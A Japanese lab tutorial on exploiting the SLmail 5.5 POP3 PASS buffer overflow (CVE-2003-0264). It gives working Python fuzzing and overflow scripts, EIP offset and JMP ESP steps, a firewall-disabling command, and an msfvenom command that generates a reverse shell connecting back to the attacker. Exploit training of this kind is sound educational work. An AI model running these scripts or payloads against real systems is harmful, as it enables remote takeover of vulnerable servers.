スタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発

# はじめに
本稿では、Win32プログラムが抱えるスタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発プロセスについて説明します。
`SLmail (Seattle Lab Mail) 5.5.0.4433`は、SMTPとPOP3サービスを提供するメールサーバープログラムです。このプログラムには[CVE-2003-0264](https://nvd.nist.gov/vuln/detail/CVE-2003-0264)の脆弱性を抱えています。この脆弱性を突くエクスプロイトコードの開発を行います。

# ラボの構築
本稿の演習を行うには、標的となる脆弱な`SLmail`アプリケーションを実行するWindows OSと、標的に対して攻撃を行う`Kali Linux`を用意する必要があります。

標的システムに導入すべき解析ツール（Windows OS)：

|ツール|URL|
|:---|:---|
|Immunity Debugger（イミュニティー デバッガ）|https://www.immunityinc.com/products/debugger/|
|Python 2.7.14（またはそれ以降の2.7.xxバージョン）|https://www.python.org/downloads/windows/|
|mona.py（Immunity Debuggerの拡張機能）|https://github.com/corelan/mona|

# 標的システムの構築

本稿では、標的システムに次の`Windows 7 Ultimate`環境をVMware上に稼働させています。

```
c:\bin>ver

Microsoft Windows [Version 6.1.7600]

c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86
```

## 解析ツールのインストール

1. `Immunity Debugger`をインストールします。`Python 2.7.1`がインストールされていない場合、`Python 2.7.1 Setup`プログラムが起動します。すべてのオプションに対して`[Next >]`を選択します。
2. `Immunity Debugger`にバンドルされていた`Python 2.7.1`を`Python 2.7.14`（またはそれ以降の2.7.xxバージョン）で上書きします。これは、`mona.py`を更新する際のTLSの問題を回避するために必要となる更新です。
3. `mona.py`を`PyCommands`フォルダー（`C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`）にコピーします。
![mona.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/468439ef-c09f-de6c-e297-a40e50bfb9c9.png)

`Immunity Debugger`を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文`!mona config -set workingfolder c:\logs\%p`を入力します。これにより、`mona.py`のログを`C：¥logs¥<program name>`に記録されます。ここで、*program name*は`Immunity Debugger`のデバッグ対象プログラムを示しています。
![mona config.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/28980499-8039-f68e-01d5-7e1b803c50f9.png)
ここまでセットアップできたら、いったん、VMwareにてスナップショットの作成を実行します。これにより、別のプログラムに対して解析を行う際にもこのスナップショットを転用することができます。

## Windowsファイアウォール機能の無効化

管理者権限でコマンドプロンプトを起動します。

```
C:¥>powershell start-process cmd -verb runas
```
`netsh advfirewall`コマンドを使用し、Windowsのファイアウォール機能を無効にします。

```
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>netsh advfirewall set allprofiles state off
OK
```

## SLmail 5.5
SLMail 5.5.0.4433をExploit-db.com（[EDB-ID：638](https://www.exploit-db.com/exploits/638)）からダウンロード（[Vulnerable App:]のアイコンをクリックすると、[バイナリファイル](https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe)がダウンロード可能）します。
<img width="1303" alt="ExploitDB.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b2962137-215b-a7c6-f621-03ff92050d42.png">
SLmail（入手したバイナリファイル）のインストールでは、すべてのオプションに対して`[Next >]`を選択します。

インストール時にドメイン名に関する警告が表示される場合があります。この場合、警告を無視して`[OK]`を選択してください。
![SLmail setup.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4730cb12-fea1-2117-0108-218064594304.png)

インストールが終了すると再起動が促されます。再起動後、`[スタート] > [SL Products] > [SLmail] > [SLmail Configuration]`を開きます。
`[Users]`タブを選択し、`[SLmail Configuration]`ウインドウ上で右クリックメニューを表示させます。`[New] > [User]`をクリックして、任意のユーザーを追加します。
![SLmail Configuration.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a2b23800-1d8c-1b0d-bb27-2784031a1339.png)

このあとの内容は初期設定で追加されている`root`ユーザを使用します。MailBoxの名前は*root*、パスワードは設定されていません。
![Edit User.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7dfe5117-e4f1-2210-c2ed-c45b0caee8e5.png)

攻撃側の`Kali Linux`から、標的側の`Windows OS`に対してPOP3サービスの応答について確認します。ここでは、`netcat`コマンドを使用して確認します。

```
root@kali:~# nc 172.16.208.172 110
+OK POP3 server VMOSX-WIN7-CNT ready <00002.1747491@VMOSX-WIN7-CNT>
USER root
+OK root welcome here
PASS
+OK mailbox for root has 0 messages (0 octets)
QUIT
+OK POP3 server VMOSX-WIN7-CNT signing off.
root@kali:~# 
```
# Immunity Debuggerによるデバッグ
`Immunity Debugger`のアイコンを右クリックし、`[管理者として実行(A)...]`を選択して起動します。[File] > [Attach]にて、`SLmail.exe`を選択します。
[Debug] > [Run]または、`F9`にて、プログラムを実行します。
<img width="512" alt="Attach.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1d21ad26-b997-cd4a-7904-d78dd32c0829.png">

## ファジング（Fuzzing）
`SLmail.exe`にファズ（fuzz）データを送信するペイロード`fuzzer_slmail.py`プログラムをコーディングします。
このコードは`SLmail.exe`が受け入れる限り、`PASS`コマンドに`A`文字列を100ステップで送り続けます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter = counter + 100

for string in buffer:
    print ("Fuzzing with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect = s.connect((host,port))
    s.recv(1024)
    s.send('USER root\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT\r\n')
    s.close()
```

結果、2700 bytesまで受け入れていることが明らかとなりました。

```
root@kali:~# python fuzzer_slmail.py 
Fuzzing with 1 bytes
Fuzzing with 100 bytes
.
.
Fuzzing with 2700 bytes
```

## EIPの制御
`EIP`を上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。ここでは、`Metasploit Framework`の`pattern_create.rb`にて生成を行います。

```
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
```

作成されたパターンを送信するようにコードを書き換えます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
```

`Python`コードを実行します。`Immunity Debugger`を確認すると、`EIP`が`39694438`にて上書きされていることが解ります。
![eip control.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ef7c9f13-e463-ea13-f5b0-47c3894f2456.png)

`Metasploit Framework`の`patter_offset`を使用して、正確なバイトカウントを取得します。`2606 byte`であることが判明しました。

```
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[*] Exact match at offset 2606
root@kali:~#
```

## Offsetの検証
コードをさらに書き換えます。

- `2606 bytes`の`A`（16進コードは`0x41`）でバッファを上書き
- `EIP`の値を`42424242`（`B`の16進コードは`0x42`）で上書き
- `500 bytes`の`C`（16進コードは`0x43`）を疑似ペイロードにみたて上書き

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = b"BBBB"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
```

`Python`コードを実行します。`Immunity Debugger`を確認すると、`EIP`を`42424242`にて上書きすることに成功したことが確認できます。
<img width="512" alt="eip overwrite.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0cf3dc80-7160-5bbc-e2ff-b9e446eb76f9.png">

## JMP ESPの検索
ペイロードを発動させるには、`EIP`を`JMP ESP`アドレスで上書きする必要があります。
ただし、`ESP`アドレスは起動するたびに異なる値となります。これでは、`ESP`アドレスをハードコーディングすることができず、エクスプロイトが安定しません。幸いなことに、ほとんどのプログラムには、`ESP`にリダイレクトする`JMP ESP`と呼ばれるバイト列があります。そのようなアドレスの命令ポインタ（`EIP`）を上書きすると、ペイロードへジャンプさせることが可能です。

まず、`mona.py`を使用し`SLmail.exe`でロードされたモジュールのリストを取得します。`Immunity Debugger`を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文`!mona modules`を入力します。
![mona modules.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3b1fae6f-c097-a535-b5a3-587f244d548d.png)

`Rebase`、`SafeSEH`、`ASLR`、`NXCompat`列の値がすべて`False`になっているモジュールを特定します。その結果、`SLmail.exe`と`SLMFC.DLL`が候補として選定されました。
ただし、`SLmail.exe`の`Base`アドレスには`0x00`が含まれています。このため、`SLMFC.DLL`モジュールのみが`JMP ESP`を見つけるのに適していると判断できます。

>一般的にメインの実行可能ファイル（すなわち`SLmail.exe`）には、先頭に`0x00`ゼロアドレス（`Bad Characters`）が含まれています。これをバッファに送信すると多くのエクスプロイトは破損します。

次に、`JMP ESP`の16進コードについて確認します。ここでは、`Metasploit Framework`の`nasm_shell.rb`を使って確認を行います。その結果、`JMP ESP`は`¥FF¥E4`であることが特定できました。

```
root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > exit
```

`mona.py`を使用し`slmfc.dll`から`JMP ESP`を探します。`Immunity Debugger`を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文`!mona find -s "¥xff¥xe4" -m slmfc.dll`を入力します。
![mona find.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/239e2072-962d-56c0-237a-07666961975e.png)

`found a total of 19 pointers`の結果が得られます。出力のうち、最初のアドレスである`0x5f4a358f`を記録しておきます。

>- JMP ESPアドレス：`0x5f4a358f`

コードを先ほど特定した`ESP`のアドレス`0x5f4a358f`を元にさらに書き換えます。
注意すべきポイントは、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することです。すなわち、メモリアドレスを逆に入力する必要があります。

>- EIPの値を`\x8F\x35\x4A\x5F`で上書き

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
```

コードを実行する前に、`Immunity Debugger`でブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。

`Immunity Debugger`を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文`bp 0x5F4A358F`を入力します。
`Python`コードを実行します。`Immunity Debugger`を確認すると、ステータスバーに、`JMP ESP`命令を含むメモリアドレス`5F4A358F`でブレークポイントに到達したことが示されます。
![breakpoint.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/74502707-99f6-b952-3e85-68f769ccce53.png)

## Bad Charactersの検証
一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これを`Bad Characters`と呼びます。シェルコードを生成する前に定義されている`Bad Characters`を見つける必要があります。
典型的な例として、`NULL文字`または`NULLバイト`と呼ばれる`\x00`があります。
`Bad Characters`を見つけるため、まずすべての16進文字を用意する必要があります。そこで、次の`Python`コードを使って16進文字の生成を行います。

```
import sys
for x in range(1,256):
    sys.stdout.write("\\x" + '{:02x}'.format(x))
```

用意した`Bad Characters`を送信するようにコードを書き換えます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = b"BBBB"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + badchars + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
```

`Python`コードを実行し、`Immunity Debugger`を確認します。`ESP`レジスタの`Follow in Dump`機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
まずはじめに、`x0A`が`Bad Characters`であることが特定できました。
![follow in dump.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/53dc8464-b919-89d0-2a07-94c4c7fc3eae.png)

続いて、`Python`コードからも`x0A`を排除し、再びコードを実行します。その結果、`x0D`も`Bad Characters`であることが特定できました。先ほどと同様に、`Python`コードから`x0D`も排除し、再びコードを実行します。
これで、すべての`Bad Characters`を取り除くことができました。
![Bad Characters.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d59632f0-b89b-11a8-3cf9-2dad93e5ebfd.png)

- Bad Characters：`¥x00 ¥x0A ¥0D`

>`SLmail`のBad Charactersをコード表記で確認してみます。
>「文字列の終わり（`¥x00`）」、「キャリッジリターン（`¥x0A`）」、「改行（`¥x0D`）」です。
>すなわち、脆弱性対策として意図して組み込まれたものではなく、機能を提供するために必然的に組み込まれたBad Charactersであると考察できます。

# エクスプロイトコードの構築
## リバースシェルコードの生成
`msfvenomu`コマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルコードを生成します。このとき、判明している3つの`Bad Characters`（`¥x00 ¥x0A ¥0D`）を除いたシェルコードを生成する必要があります。

コマンド構文は、`msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txt`です。

```
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.171 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~# 
```

